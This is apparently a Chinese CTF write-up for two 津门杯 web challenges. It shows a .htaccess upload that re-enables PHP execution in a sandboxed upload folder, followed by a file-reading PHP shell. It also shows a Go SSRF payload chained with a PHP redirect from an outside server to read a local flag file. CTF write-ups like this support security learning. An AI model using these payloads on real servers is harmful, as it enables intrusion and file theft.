津门杯 Web

·
CTFWP no tag May 24, 2021

UploadHub

题目给出源码供我们分析。其中重要的是apache2.conf文件

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

发现了在配置层禁止了upload沙盒解析php。

image-20210524093728826

image-20210524094002382

在后面发现了允许.htaccess上传。且AllowOverride为All。确定为.htaccess利用。

配置文件的<Directory>晚于htaccess执行。

测试发现<file>标签优先级比Directory高。

上传.htaccess

<Files "*.php">
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
php_flag engine on
</Files>

上传shell.php

<?php readfile('/flag'); ?>

这里有个坑,每次传 php文件都需要先传一次.htaccess。

GoOSS

这道题是golang的代码审计。

大致思路是通过302跳转到本地80端口的php文件下读取flag

通过参考

https://evoa.me/archives/21/

https://xz.aliyun.com/t/3302

所以可以通过

{"url":"http://127.0.0.1:1234//ip/.."}

来ssrf

vps上写

<?php
    header("Location: http://127.0.0.1/index.php?file=/flag");
?>

然后ssrf可以获得flag

  • [虎符CTF 2021]Internal System
  • DozerCTF域渗透
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.